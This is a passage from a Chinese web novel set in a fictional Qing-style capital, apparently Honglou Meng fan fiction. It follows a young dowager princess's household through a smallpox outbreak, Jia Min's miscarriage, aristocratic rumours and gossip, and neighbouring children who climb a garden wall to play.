厨房那边更是大展身手,今年顾晓让她们做了许多水果罐头,都用坛子密封起来,如今几个厨娘就用这些跟鲜果风味区别不算很大的罐头水果做出了各种点心和菜肴。顾晓稍微提示了几句,他们就用桃子和白梨罐头做了咕咾肉,像是八宝鸭子就可以往里头加一点桃肉,味道颇为不错。尤其是各种甜汤点心,里面加上一些,不论是蒸是烤,味道都很不错。 隆安侯出外差还没 回来,顾晓就给隆安侯府送了不少水果罐头回去,隆安侯夫人是个精明强干的,顿时就想到老家那边,产的上等的杨梅和龙眼,也能做成罐头,回头叫老家那边庄子上做好了,运到京城来,也能多一样吃食。 甚至还可以往岭南那边买几处果园,如今京中想要吃一颗荔枝,那叫一个不容易,一般是蜀中那边选了大小合适的果树,在果子长到一定程度之后,就连根挖了,种在木桶或者是大缸里头,运到京城差不多就能成熟。饶是如此,每年荔枝送过来,宫里得宠的也只能分个几个尝尝味道,不得宠的,连荔枝壳都别想看到。宫里尚且如此,外头就更难看到了,能吃上一粒荔枝,那足够在外头吹几年的。 跟蜀中相比,岭南更是盛产荔枝,偏生根本没法运出来,只能烂在树上,如今可以做成罐头,哪怕只能保留三成风味,那也是一门好生意。 这时节,隆安侯夫人即便是亲妈,也不好随意上门,只得叫人传了一封信去平王府,询问水果罐头的制作方法。顾晓也没当回事,这玩意在工业时代到来之前,其实是不适合大规模投入生产的,一方面是不能保证质量,王府可以将坛子用开水烫煮,然后用专门制作的木塞塞上,再用蜡封好,凉了之后就直接往冰窖里面一存,也不用担心长途运输的麻烦;另一方面就是,熬煮罐头是需要加入大量糖的,如此能够提高口感,也能防止细菌滋生。问题是,这年头糖根本就是奢侈品,欧洲在大航海时代到来之前,为了糖两个国家都能开战。中原这边虽说早早就引进了先进的制糖技术,但糖依旧不是普通百姓能吃得上的。 顾晓将罐头制作方子写了一份,给隆安侯府送了过去。隆安侯夫人一看便也意识到了其中的困难,但她对荔枝罐头的生意却愈发笃定起来,因为岭南不光盛产荔枝,也盛产甘蔗,完全可以在岭南那边就大规模种植这两样水果,然后进行加工。到时候通过运河运到神京,就算是中间有一些损耗,也能够承受。 隆安侯夫人也不叫顾晓吃亏,便琢磨着这生意要是成了,也给女儿留一份分红,女儿虽说身为太妃,不愁吃喝,但是谁会嫌钱烫手呢?别的不说,多点私房,以后末儿分府出去,也能多分一些。 顾晓丝毫不知道自己过两年就有一条新的财源,这会儿衙门要封印,季先生也给两个学生放了假,顾晓便叫人送贾瑚主仆几个回荣国府,从痘疫流传开来开始,贾瑚可是一个多月都没有回去了。 荣国府那边这会儿气氛却不算好,主要是贾史氏,这会儿正在伤感,因为之前府里给林家送年礼的时候,听到了一条噩耗,府里姑奶奶贾敏小产了! 贾敏嫁到林家也已经有了好几个年头,前两年一直没有消息,后来又要守孝,自然不能再怀孕。林家子嗣单薄,林如海选择贾敏,一方面是想要有个得力的岳家,另一方面也是看在贾家人口繁茂上。因此,回京之后,夫妻两个就将生孩子放到了日程上,开始积极备孕起来。 贾敏因着是贾史氏的老来女,小时候身体也不算好,贾史氏又担心小姑娘家家的,种痘的 时候若是落下几个麻子,就要影响嫁人,因此,并不曾给贾敏种痘。 这次京中出了天花,林如海和贾敏因着隔了一条街有个人家就染上了天花,担心自家也难以幸免。林如海是种过痘的,因此即便只是个御史,也得老老实实去衙门上差,期间贾敏总不能回荣国府避痘。夫妻两个商议了一番,便准备趁着这次先给贾敏种痘。 结果谁也没想到,贾敏竟是已经有了身孕,偏生日子还短,脉象也没显出来,太医便直接给贾敏中了痘。结果贾敏出花前后,一连烧了好几日,某一天,便见了红。 原本以为是月信,但是日子却不对。贾敏为了备孕,可是好好调理了一番,月信一直很规律,因此便担心种痘留下了什么后遗症,影响生育,便请了太医来把脉,然后太医便发现,这根本不是月信,而是小产。 其实她这一胎着床还没满一月,这个时候流产,多半是本身就很难保住。但是贾敏却不这么想,她盼孩子不知道盼了多久,如今在毫不知情的情况下,孩子就没了,自然受到了很大的打击。 便是林如海,听说了这事,也是难过。尤其贾敏原本爱美,对于种痘还存了一些疑虑,是他力主种痘,结果就这么一折腾,将好好的孩子给折腾没了,林如海都觉得愧对祖宗! 到了这个时候,林如海还得好好安慰贾敏,只说这孩子来得不巧,与他们夫妇无缘云云。贾敏口中不说,心中难免有些怨气。她一方面种痘之后需要休养,小产更是需要调理,按照太医的说法,最好就多坐一阵子小月子,才不至于留下什么后遗症。因此,贾敏这些日子就在自个屋里将养,她精神不济,连给娘家送年礼的事情都给耽误了。 荣国府那边见林家的年礼迟迟不至,便疑心出了事,贾史氏担心女儿也染上了天花,便催着府里出过花的人以给林家送年礼为名,去林府打听消息。 贾敏其实不想让娘家担心,因此出了这事,也不曾想过要告诉贾史氏,但是她陪嫁的下人终究也是贾家出来的,知道自家姑娘对孩子如何期盼,结果就因为姑爷一点想头,硬是劝姑娘种痘,将好好的孩子给流掉了,难免也为贾敏觉得委屈,既然荣国府的人过来打听情况,便透露了一些。她们心中也有数,并没有说种痘的事情是林如海一力主张,只说姑娘姑爷当时瞧着天花泛滥,又无处避痘,不得不选择种痘,结果竟是将个还没成型的孩子给流掉了。 贾史氏是真心心疼自家闺女,听说了消息之后,简直是捶胸顿足。早知如此,当初听了消息,就该叫人接了贾敏回荣国府避痘,哪里会平白没了一个外孙。 饶是张氏与贾敏姑嫂关系不错,听得贾史氏这般言语,也是恨得咬牙切齿,自家女儿重要,孙子就可以直接放在外头自生自灭? 贾史氏压根没有注意到张氏的不满,忙不迭叫人从自己的私房里头取了燕窝阿胶之类的补品,给林家那边送过去,又担心贾敏身边没个靠谱的老人指点,还选了几个嬷嬷一起送了过去。 林如海并不想让岳家在自个家里指手画脚,只 是这次实在是他理亏,只得忍了下来。想到太医说贾敏要好生调理,最好一年内不要再有孕,只怕有了也未必保得住,心里便愈发懊悔起来。他是标准的士大夫,对于嫡庶很是看重,林家即便子嗣艰难,但是但凡嫡妻能够生育,也没想过叫姬妾生子。这次贾敏伤了身体,林家想要有个孩子,又不知道是什么时候的事了! 贾家那些下人,嘴巴跟漏勺差不多,平王府的人送了一趟贾瑚,便打听到了贾敏小产的消息,回来难免禀告了顾晓。 顾晓听了,不由一愣。按照红楼原著来推算,林黛玉出生起码也是七八年之后的事情,只怕跟贾敏这次小产也有些关系。 若是早知如此,顾晓倒是可以先想办法给贾敏提个醒,可惜的是这世上的事情本来也没有什么如果。 人与人之间,其实很难做到感同身受。顾晓也就是稍微感叹了一下,之后还是得把心思放在自家身上。 圣上虽说隐瞒了这次天花流行的原因,但大家都不是什么傻子。那位嗣郡王死后,王府如果和别的府里一样,隔上几天他抬出一两个人来,那算是正常现象。可如今是封锁了几天,然后悄无声息地,整座王府就被封了起来,里头已经是半点人气都没有,什么样的病症能造成这样的后果呢? 很快,就有人联想到,不仅内城这次的天花是从嗣郡王府流传出来的,他们家还有着很大的干系。 大家想到之前宁王太妃的死,不免疑心是不是那位侧太妃又看谁不顺眼,下了毒手,却没想到,连自家儿子都搭了进去。另外,也有人猜测是有人要报复侧太妃母子的,不过,都没想到是先宁王太妃的人,而是以为是他们府里几个太姨娘。 因为搬了府邸,府里的浮财和产业也大幅度缩水,嗣郡王府不仅大幅度裁剪了下人,也缩减了给府里几个太姨娘的供应,弄得明明是伺候过先宁王的老人,日子过得竟是跟人家通房丫头差不多,这些太姨娘若是怀恨在心,玩一出同归于尽的把戏也不是不能理解。 宗室大多数没有实职实权,能做的事情也很少,因此,大家就将更多的心思放在玩乐还有八卦上头,像是这等小道消息,经过几家宗室的传播之后,就已经翻出了不知道多少个版本,等到平王府后知后觉得到消息时,传言已经不知道扭曲成了什么样。 顾晓听到的一个版本已经带上了一些魔幻的气息,说是先宁王太妃死得冤屈,一口怨气不散,化作冤魂,上来报仇,直接将嗣郡王府杀了个鸡犬不留。靠谱一些的一个版本只说是侧太妃因着嗣郡王感染天花而死,对下面下人几尽苛刻,下人受不了,便干脆在水井里下了毒,这才将嗣郡王府满门给杀了个干干净净。 顾晓对后面这个版本还是有些相信的,天花再如何,死亡率也没达到百分之百的地步,能叫一府上上下下大几十个人死得悄无声息,最可能的手段就是下毒,至于是下在饭菜里还是饮水里,那就不好说了。 吴嬷嬷听得直咂舌,虽说当日疑心先宁王太妃的死与那位侧太妃脱不了干系,但是如今那府里直接被灭了门,这般惨烈,难免叫人心中感慨。 许多人家也因此生出了警惕之心,毕竟,嗣郡王府上这事不管原因如何,有内鬼那是肯定的,而且里头原因定然也不那么光彩,要不然,宗人府那边怎么着也得给个合适的说法,不像是现在,只说是疫病所致。 各家都是高门大院,一个主子身边起码也有个三四个下人伺候,再算是那些不在主子跟前,而是在其他地方当差的下人,一个府里,下人的数量往往会是主子的七八倍甚至更多,若是这些下人起了什么歪心思,那真的是要祸及满门。 那些原本对下人还算是宽仁的人家都自觉自家颇有些先见之明,而那些治家严苛的,就有些不安稳起来,瞧着谁都像是可能会对自己不怀好意。因此,趁着这个机会,许多人家干脆将家里的下人来了一次大换血,该放的放,该卖的卖,只将人市上的价钱都给打压下去一大截。 也亏得大多数人家在这次痘疫中都有所损伤,互相之间拜年走访的事情也少了许多,要不然,没了那许多下人,很多人家都要没法正常运转了。 平王府之前就将各种不稳定因素给清理了一遍,府里头这次连下人都没有什么损伤,顾晓还给补偿了一部分衣裳被褥的损失,一个个都是感念上头恩德的时候,自然不需要赶这么一出,而是心情舒畅地准备过年,喜气洋洋的气氛将隔壁雍王府都给感染了。! 第 68 章 雍王府死了个三姑娘,下人也死了好几个。周侧妃趁机得了雍王的怜惜,这些日子,雍王都歇在她那里。 雍王妃虽说心中不甘,但也是无可奈何。她膝下也有个儿子,只是资质平庸,一向不为雍王所喜。不过,雍王妃对此并不如何放在心上,祖宗家法在那里,自家儿子只要好好的,那以后就是板上钉钉的世子。资质差一些又如何,宗室子弟还能干出什么惊天动地的事业不成? 只是话是这么说,周侧妃每每一脸春色过来请安,雍王妃心里也不是个滋味。 周侧妃仅有一女却被封为侧妃,可见她在雍王心中的份量,如今再叫她这般得宠,生个儿子出来,她在府里就要更嚣张了。就算威胁不到爵位的传承,可还有王府的产业呢?雍王妃一想到自己勤俭持家积攒下来的钱财最后落到周侧妃手里,就忍不住心肝都疼。 这会儿她看完各处的礼单,只看得头昏眼花,结果厨房那边又来询问过年的菜式。 雍王夫妇肯定年三十和初一都要入宫朝贺,那年三十中午那一顿就不能敷衍了事,得按照年夜饭的规格来。 雍王妃只觉心烦意乱,当下说道:“此事暂且不着急,回头我也得跟王爷商量商量,你们明儿再来吧!” 话是这么说,晚上能不能遇到雍王还是个未知数。一边孙嬷嬷劝道:“娘娘这几日事务繁多,也是累着了,这会儿日头正好,娘娘不如去花园里走走,散一散!”说不定能在花园里遇上王爷呢? 后面的话孙嬷嬷没有说,雍王妃却也听出来了,意思就是让自己在雍王那里表一表功,总不能周侧妃没了儿子,就霸着王爷不放吧! 雍王妃有些意动,不过她很快还是叹了口气,说道:“罢了,我都是有儿子的人了,还说这些作甚!不过,我也真该出去走走了,这胳膊腿,都要不是自己的了!” 她一向讲究仪态,都是坐得板板正正的,这么长时间都保持一个姿势,这会儿只觉得身上的每个关节都喊着要造反,她不由露出一个苦笑来。 身边伺候的丫头连忙过来扶着雍王妃起身,又捧了热水巾帕过来,给她用热帕子敷手,她又略微活动了几下,方觉得舒服了一些,说道:“拿手炉过来吧,咱们拣清静的地方走一走,也叫我喘口气!” 几个丫鬟又是拿手炉,又是拿斗篷,还有几个还捧了垫子矮凳之类,预备着回头雍王妃走累了,可以坐下休息。一行人便这么出了正院,往花园里走去。 雍王府的花园并不算很大,不过却不似北地园林,而颇有些江南风味,精巧别致,一步一景。雍王妃已经打听着雍王跟周侧妃正在梅林那边互诉衷肠,便不准备往西北角而去,而是换了个方向,沿着小径往东边行去。 这隆冬时节,花园里大多数花木都已经枯萎,上头覆着冰雪,阳光下显得晶莹剔透,倒也不显寂寥。 雍王妃带着人信步而行,走了一阵,就隐约听到隔壁传来了顽笑声,还有孩童的欢笑惊叫之声,忍不住驻足旁 听,但这高墙厚院,虽说声音能够传来,具体说了什么,却也听不分明。 她忍不住问道:“隔壁平王府每日里都是如此吗?” 孙嬷嬷和几个丫头都是面面相觑,她们平常又不往这里来,哪里知道究竟是个什么情况,因此,便叫了负责花园洒扫的婆子过来,询问此事。 那婆子有些紧张,不过还是说道:“但凡是晴日,隔壁便常有欢笑之声,应该是隔壁几个小主子在花园里玩耍,之前暖和的时候,还能看到他们府里放风筝呢!” 雍王妃听得一愣,然后又忍不住长呼了一口气,笑道:“他们日子倒是自在!” 孙嬷嬷这会儿心思一动,说道:“咱们府里如今也都种过痘了,这年节里头,总将几个小主子关在屋里,也不是个事,不如也叫他们出来一块玩!” 孙嬷嬷的想法很简单,府里头虽说殇了一个三姑娘,可那也不是雍王妃的错,三姑娘可一直都是养在周侧妃院子里的,雍王妃真有什么坏心,那府里几个哥儿不是更该下手吗?何必要对付一个小丫头片子。如今叫世子带着弟弟妹妹一起玩,一方面彰显雍王妃对下面儿女一视同仁,世子友爱手足,另一方面也是要告诉雍王,你不光三姑娘一个女儿,还有其他孩子呢! 雍王妃被说得有些心动,然后又有些犹豫:“这大冷天的,在花园里头玩耍,万一受了凉,那可如何是好?” 孙嬷嬷笑道:“也未必要在外头,这花园里也有几处亭台,选一处轩敞的便是!” 雍王妃想想也是,便说道:“既是如此,便叫人去各处传了话,再叫人将溪云亭收拾一下吧,多准备一些玩具吃食送过去!” 周侧妃内院独宠,不仅雍王妃不舒服,其他那些姨娘更不舒服,尤其,府里头有两个姨娘是正经生了儿子的,偏生叫周侧妃压了一头。以前周侧妃只有一女,大家还能安慰一下自己,她再是侧妃又如何,一个庶女罢了,将来了不起封个县主,也就嫁出去了,自家儿子怎么着也能封个镇国将军,奉恩将军什么的。 但若是周侧妃再有了儿子,情况就不一样了。本朝对宗室册封颇为吝啬,一家王府若是儿子太多,年纪小,出身低的,也就能捞个奉国中尉的保底,这里头差距可就大了。 如今雍王妃要在溪云亭叫孩子们一起玩耍,在其他人看来,其实就是在跟周侧妃叫板,大家立马就开始准备起来,没多久,就给孩子们穿上了衣裳斗篷,还各自带上了不少玩具,叫乳母丫头们一起送溪云亭去了。 人总归都是社会动物,孩子们也都很需要社交。雍王府除了殇了的三姑娘,也有六个孩子,正好三子三女,最小的也两岁了。因为都不是同母所出,之前也没太多往来,如今凑在一起,一开始有些生疏,但是在各种玩具零食的引诱下,渐渐也就熟稔起来。雍王妃所出的世子徒嘉珩年纪最大,年初便进了弘文馆读书,远比下面的弟弟妹妹懂事得多。他已经明白,等日后自己袭爵,就是雍王这一支宗室的家长,因此,如今便已经有了些主人翁精神,这会儿便耐心 地教弟弟抽陀螺,陪妹妹玩娃娃。 没多久?_[(,溪云亭便热闹了起来。 雍王与周侧妃赏梅回来,见到这边场景,他是想不到女人之间的那点勾心斗角,反而很感兴趣。男人嘛,大多数都盼着妻妾和谐,儿女和睦,如今一看,大老婆果然是个贤妻,一点都不吃醋不说,对庶子庶女也都不错,还能叫大儿子陪下面的弟弟妹妹一起玩。 以前雍王对长子总有些不满,雍王自己当初在学里也不算出挑,但儿子在一众宗室子弟里头就更平庸了。而且,徒嘉珩口齿也算不得伶俐,尤其是在他这个当爹的面前,更是常常张口结舌,头也不敢抬,实在是叫人生气。 这会儿瞧见徒嘉珩对下面的弟弟妹妹都颇为耐心,雍王便想着,庸碌一些也无妨,他肯友爱手足,自己百年之后,也不用担心其他孩子日子不好过。 这般想着,他也不进去打扰,而是直接吩咐身边的太监裘世安去库房拿东西,回头赏几个孩子。尤其是正院那边,雍王很是大方地赏了十二匹妆花缎,还有燕窝阿胶之类的补品,只叫一边的周侧妃眼珠子都红了。只是她也是聪明人,并不跟雍王说雍王妃的不是,而是摆出一副怅然的模样,看着溪云亭里孩子们玩闹的场景,眼睛微红,喃喃说道:“要是我的瑶儿还在,也能跟哥哥姐姐们一起玩了!”继而又似乎是发觉自己失态,连忙用帕子擦了擦眼角,挤出一个笑来,说道:“王爷,妾失态了!” 雍王瞧着身边美人强颜欢笑的模样,愈发怜惜起来,说道:“你也是触景生情罢了,瑶儿知晓你的心肠,回头定然还是愿意投在你肚子里,再给你做女儿的!” 周侧妃顿时一噎,她的确想念女儿,可是,她更想要一个儿子,若是女儿愿意重新投胎回来,也该等她哥哥生下来才是,不过,面上却是不能这么说,只是柔声说道:“若真有那么一日,妾情愿日日吃斋,好谢过菩萨的恩德!” 可以说,雍王妃来了这么一出,说有用也有用,说无用,也没多大用处,不过,当晚,雍王还是来了正院,这倒是让雍王妃心中得了些许安慰,不管怎么说,自己这个王妃在雍王那里的地位还是颇为不同。 小孩子都是喜欢玩乐的,接下来几天,都不用雍王妃发话,他们便自动往花园里跑,然后他们很快发现隔着墙,能听到隔壁平王府的动静。下面几个孩子因为年纪小,雍王不怎么管,亲妈又都宠着,正是无法无天的年纪,当下便吵着叫花园里的婆子花匠扛了梯子过来,想要爬上去看隔壁在干什么。 平王府里,几个孩子外带两条狗正在滚绣球玩。绣球是黄氏陈氏她们一起做的,用的是藤球做骨架,外头拿了几种颜色的缎子做面,又在上头缀以流苏和银铃,滚起来叮当作响。 佳婉和佳姝才带着绣球过来,就被白白和花花看中了,扑上去滚着玩,末儿也觉得有趣,加入了进去,佳婉和佳姝一开始还有些手足无措,很快被末儿拉入了战团,连同徒嘉钰和徒嘉泽两人,也或主动或被动加入了进来。玩的人一多,自然得到更宽敞一些的地方,便跑 到花园西边的空地上来了。 徒嘉珩被几个弟弟妹妹鼓动着爬上了梯子,就看到下面几个孩子还有两条狗围着一个彩色的绣球跑来跑去⑾[(,或丢或踢或拱,上头铃铛叮铃乱响,一时间也有些羡慕,他也不认识其他人,只有个徒嘉钰之前是一起去过宫宴的,勉强还算眼熟,因此,他轻咳了两声,鼓起勇气,大声喊道:“嘉钰弟弟!” 徒嘉珩比徒嘉钰略大,还记得徒嘉钰,徒嘉钰就有点不怎么记得徒嘉珩了,好在他记得徒嘉珩就住在自家隔壁,这才将人跟名字对应了起来,连忙停下来,仰头看去,有些惊讶地问道:“嘉珩哥哥,你怎么在院墙上面?” 徒嘉珩顿时有些尴尬,只是还是硬着头皮说道:“我与几个弟弟妹妹在这边玩耍,听到你们那边笑声,便上来看看!” 徒嘉钰可从来没想过这世上居然还有爬墙的操作,这会儿顿时眼睛一亮,大声邀请道:“嘉珩哥哥,你们也一块来玩吧,我们家好玩的东西可多了!” 徒嘉珩很是心动,但却又非常犹豫,结果下头几个不省心的弟弟听到了,立马叫道:“大哥,一起过去玩!”“大哥,我也要过去!”连同三个小姑娘,都是一副心动的模样。 下头伺候的奶娘丫头可就吓坏了,腿快的连忙跑回去,想要先禀告王妃或者是自家姨娘,其他人便苦口婆心想要阻拦。 但是小孩子嘛,尤其是这种出身高贵,从小到大,就没怎么受过委屈的孩子,那真的是你越是想要阻拦,他们就越是想要去干。尤其,在他们看来,这事有什么不能干的,隔壁是叔叔婶婶家,也有几个差不多大的孩子,串个门怎么了?他们玩了几日,已经有些野了心,迫切希望有更好玩的。如今隔着墙都听到隔壁的笑声,可见比自己这边好玩多了,对方又是主动邀请,自己这边拒绝了,那多没意思啊!当下便鼓噪起来,只弄得已经略微有些懂事的徒嘉珩进退两难。 这边还在犹豫,行动力超强的徒嘉钰已经叫人也将梯子扛过来了,甚至听说对面还有只比末儿大一点的,他脑子一转,连忙叫人弄了两个大竹篮过来,就叫力气大的婆子过去几个,站在梯子上,将人传递过来。 徒嘉珩是世子,在府里是没多少权威的,可是徒嘉钰已经是嗣王爷了,那就是府里未来的主子。小孩子串门,也不用考虑太多的礼法,因此,徒嘉钰一声吩咐,立马就有几个膀大腰圆的粗使婆子攀着梯子上来了。 徒嘉珩还没来得及提意见,已经被徒嘉钰指挥着一个婆子抱过了墙头,一脸懵逼地传到了对面,看到喜形于色的徒嘉钰,只得干巴巴地又打了一声招呼:“嘉钰弟弟!”心里却在发愁,自己这么一搞,回去被父王知道了,只怕免不了要挨一顿训。只是来都来了,要是不玩个痛快,回头被训了,岂不是不值得?当下,他干脆就放宽了心,仰头看着几个婆子一个接一个地将自己的弟弟妹妹也接了过来。 这年头高门大院的孩子也是可怜,一年到头压根没多少机会出门,这会儿也就是爬过了一堵墙,一个个兴奋得简直跟干了什么大事 业一样。 小主子们过来了,隔壁那些奶娘丫头再不乐意,也得跟过来伺候。也亏得这边伺候的多是女子,要不然,叫她们穿着裙子爬梯子,还不定要如何。 而雍王府那边,雍王妃也得了消息,只是瞠目结舌,不免苦笑起来:“这些孩子,真是的!” “那要接他们回来吗?”孙嬷嬷问道。 雍王妃想了想,无奈地说道:“既然已经过去了,那就让他们好好玩一天吧,等晚一点再去接他们回来。唉,弟妹那边,这会儿只怕比我还头疼呢!” 雍王妃那是想多了,顾晓也就是一开始错愕了一会儿,很快就恢复了常态。小孩子嘛,有点社交是正常现象,人家奶娘丫头都看着呢,这边也有许多下人在一边盯着,不怕会出什么事,如此,只需要他们吃好玩好便是。 因为都是孩子,还是爬墙过来的,顾晓便不好直接出面,因此,只叫人去跟徒嘉钰说,今儿个你是主人翁,要做好这个东道,将客人都给陪好了。 徒嘉钰只听得愈发兴致勃勃,当下就领着隔壁几个孩子去他们之前玩的地方,显摆他们的冰雪滑梯,吊篮秋千,还有冰雕的牛羊鹿马之类,上面还正儿八经放了马鞍,可以骑在上头玩,甚至还有好几座雪屋,错落有致摆在那里,可以钻进去玩,也可以爬到上面如同滑梯一样滑下来。 徒嘉珩他们何曾见过这些,这会儿只看得目瞪口呆,继而欣羡不已。 孩子们很快进入了状态,玩得不亦乐乎。徒嘉珩他们是没玩过,这会儿正新鲜,徒嘉钰他们原本都觉得有点腻了,这会儿来了新的小伙伴,也来了兴趣,将他们之前折腾出来的各种花样一一展示,迎来一阵阵惊呼。 佳婉和佳姝就开始招待几个小姐妹,先是带着她们一起玩了几个特殊的花朵形态的冰滑梯,从中间的花蕊处爬上去,然后顺着花瓣滑下来,然后又去乘坐冰雕的小车,拉扯的不是什么毛驴骡子,而是大山羊,只将几个小丫头兴奋得满脸通红。 而厨房那边很快也送了茶水点心过来,为了防止这些在室外冷掉,直接拿了之前用于围炉烤茶的炉子,茶水干果水果之类,都放在烤网上,几个丫头在一边守着,谁过来就给谁倒一杯果茶。 担心他们在室外玩受凉,果茶里还放了一些姜丝,然后又切了鲜橙片和梨片,再加上从水果罐头里面捞出来的果粒,煮开之后,就能闻到一股子馥郁的果香。 几个孩子哪里还顾得上喝茶吃点心,只四处疯跑,玩得不亦乐乎,白白和花花一开始还只跟着末儿,很快,就也在孩子群里跑来跑去,只跑得伸出小舌头喘粗气。 顾晓说放手,那就是真的放手,连午饭都交给徒嘉钰安排了。 徒嘉钰也是鸡贼,趁机点了许多自己喜欢吃的东西,又叫直接在最大的雪屋里面摆宴,大家也不用坐在椅子上,直接坐在各式软垫上围着一张大圆桌,只叫几个跟进来伺候的奶娘手足无措,不知道该怎么办才好。 虽说都是徒嘉钰点的菜,但厨房那边见小孩子多,不 管是鸡鸭鱼肉,都直接拆骨去刺?,或剁碎做成丸子,总之,一切以安全为要,然后再考虑口味和造型。甜羹里的小汤圆做成几种动物和水果的模样,小饺用蔬菜汁染成不同的颜色,虾丸搭配蔬菜,做成果实累累的果树……只看着几个孩子瞪大了眼睛,几个原本的吃饭困难户,都开始口水直流。 然后吃饭的时候,就能看出两府育儿的区别了。 平王府这边,便是年纪最小的末儿,也都是自己拿着勺子吃饭,伺候的奶娘只负责帮他夹菜,而雍王府这边,几个孩子还都需要奶娘喂,这会儿瞧着末儿自个吃得香,几个大一点的孩子顿时就有些羞愧,当下推开奶娘,自个有些笨手笨脚的拿着勺子筷子吃饭,虽说难免会洒落不少,但是一边伺候的下人视若无睹,只叫人准备好更换的衣服。 一顿饭吃完,好几个都吃撑了,这里头最小的几个孩子其实至今还没完全断奶,平常正餐也吃得不多,这会儿一下子吃得肚子鼓鼓的,吓得奶娘赶紧给揉肚子,生怕吃出什么毛病来。心里暗自埋怨顾晓这个太妃,竟是真的由着他们府里小王爷安排,结果弄出这许多新鲜吃食,回去若是吃不上,只怕还得闹腾。 好在今儿的菜其实汤羹蔬果更多一些,肉食也多是鱼虾,因此,也不怕他们吃得太过厚腻导致积食,再配上一小碗山楂水,正好慢慢消食。 孩子们根本没有这许多烦恼,稍微消化了一番,又各自抢了喜欢的雪屋睡下,等到醒来,又开始活蹦乱跳起来。 等到日已西斜,雍王府也过来接人了。! 第 69 章 来接人的还是孙嬷嬷。 孙嬷嬷到了之后也没急着先去看几个孩子,而是直接去正院求见顾晓。 “太妃娘娘,今日实在是打扰了!”孙嬷嬷有些尴尬,陪笑道。 “这算什么打扰,孩子们比邻而居,不过就是串个门而已,也就是我们府上现在不方便,要不然的话,我早就带着孩子去拜访嫂子了!”顾晓笑道,“回头方便了,嫂子别嫌我烦才是!” 孙嬷嬷赶紧说道:“怎么会,我们娘娘到时候定当扫榻相迎!” “那可不就是了!”顾晓笑道,“今儿个我也是躲了一回懒,几个侄儿侄女那里,都是几个孩子再招待,还望嫂子别嫌我招待不周才是!” 孙嬷嬷倒也能够理解,反过来恭维道:“那也是娘娘教小王爷教得好,这么小就能接人待物!” 顾晓也笑道:“也是你们家世子宽厚,要不然,就我家那样子自作主张,换个人就要生气了!” 互相恭维了一番之后,孙嬷嬷才提出要去接人,顾晓亲自带着孙嬷嬷去了花园,发现几个孩子这会儿还在疯玩。 在孙嬷嬷眼里,一向颇为敦厚稳重的徒嘉珩,这会儿正拿着一根金箍棒,耍了个棍花,迎来了一帮小的阵阵欢呼,徒嘉珩得意地将棍子一转,又搭了个凉棚,结果正看到孙嬷嬷,顿时有些傻眼,讪讪地将手里的金箍棒放了下来,老老实实叫了一声:“嬷嬷!” 其他人看到顾晓和孙嬷嬷来了,末儿欢呼着扑向顾晓:“妈妈,这个哥哥是孙大圣!” 倒是雍王府几个孩子忍不住缩了缩头,在他们眼里,孙嬷嬷这样的,就是权威,他们在孙嬷嬷面前调皮,孙嬷嬷回头去娘娘那里告个状,回头他们就得被批一顿,这般一想,顿时就觉得脚步万分沉重,不太想回去了。 孙嬷嬷倒也没有生气,只是有些叹息,徒嘉珩一直表现得稳重,可能还是在自家府里和弘文馆太压抑了,他还是个孩子呢!她心里这么想着,决定回头跟自家娘娘商议一番,面上表情却依旧温和,她看着雍王府几个孩子,笑道:“今儿已经不早了,娘娘叫老奴来接各位小主子回去,等日后闲了,再来玩便是!” 徒嘉珩眼睛一亮,转头看看一帮弟弟妹妹,又看向了徒嘉钰,笑道:“嘉钰弟弟,那我们就先回去了,等回头再来玩!” 徒嘉钰也有些不舍,连忙说道:“好,那你可得快点来啊!”他如今已经知道,在明年夏天之前,他是没法出门的,也只能盼着徒嘉珩他们多过来几次了。 徒嘉珩也有些犹豫,过两天便是除夕,之后便要到处拜年,等过了十五,弘文馆又该开学了,也就是说,下次过来,怎么都得等到休沐,他想了想,便说道:“那等我休沐,我就过来!” 两人约定好了时间,几个小的也是眼神闪闪发光,他们可是知道,没有大哥领着,他们要是敢乱跑,那回头只怕就是一顿竹笋炒肉,所以,还是让大哥扛在前头吧! 徒嘉珩他们没有再翻墙,而是从 后门回了雍王府,回来就先去了正院。 雍王妃看着几个孩子都已经换了一身衣服,便笑道:“你们倒是怎么玩的,连衣服都换掉了!” 徒嘉珩没有多说,几个小的却是七嘴八舌地说起了在平王府的见闻:“那么高的滑梯,都是冰做的,还有冰做的小房子,可有意思了,里面一点也不冷,我们还在里面吃饭了呢!”…… 雍王妃听得有些惊讶,她看了孙嬷嬷一眼,然后先是跟几个孩子说道:“你们今天随便翻墙出去,回头叫你们父王知道了,还不定怎么收拾你们,所以,回去之后,不要跟别人说隔壁婶婶家什么样子,好不好?要是叫人知道了,下次你们就玩不了了!” 这话虽说是跟几个小的说的,其实是跟随行的下人说的。隔壁守孝期间搞这些玩乐,要是传出去,遇上不怀好意的人,硬是给扣个不安心守孝的帽子,那就不好了。 雍王妃也是预防万一,这世上就有那一等人,从来都是宽于待己,严于律人,原本守孝期间无非就是禁止宴饮婚嫁,结果到了那等道学夫子嘴里,就恨不得你如同《二十四孝》里头一样,能卧冰求鲤,埋儿奉母,再不济也该结庐守孝,稍微抓住你一点把柄,就紧咬着不放。 雍王妃担心顾晓太年轻,不知道这里的厉害,便打算回头就叫人跟顾晓说了,将那些都拆掉,要玩的话,等到出了孝,玩什么不行呢? 几个孩子不明所以,一听说叫人知道了,便不能再去玩了,便当下捂住了嘴,生怕一个不小心,就说出去了。 雍王妃又叫人拿了一些点心之类的分给几个孩子,这才叫那些下人各自带了他们回去。 再看看有些紧张地徒嘉珩,原本雍王妃想说什么,最后还是没说,只是闻言说道:“今儿个玩累了吧,先回去歇一会儿,回头到母妃这里来吃饭!” 雍王今日并不在府里,他今儿个去城外檀香寺找那里的高僧说法去了,一直到晚间才回来。 不过,府里但凡发生什么事情,只有雍王不想知道的,没有他不能知道的。因此,今儿个府里一帮孩子翻墙去了隔壁的事情,就这么被翻出来了。 雍王原本打算就在书房歇下,他虽说年纪还不算有多大,但是这些日子在周侧妃那边,也着实消耗了不少,就算是再宠爱周侧妃,也不能忽视了自己的腰子,今儿个出去,也是要让自己放松一下。这会儿听说了这事,犹豫了一下,还是往正院去了。 正院那边,雍王妃也已经打算歇下了,像是她这样的身份,逢年过节最是劳累不过,想着过两天还得进宫朝贺,她就觉得身上无一处不难受,为了积攒精力,她打算这几天早点休息。 结果听说雍王来了,雍王妃心里郁闷,不过还是起身相迎。 雍王也不是什么没有半点眼力见的人,一看雍王妃模样,就知道她这会儿已经准备梳洗歇息,不免有些讪然,问道:“王妃这么早便要歇下了?” 雍王妃故意示弱道:“如今真是不如以前了,一天的事情看下来,只弄得我头昏眼 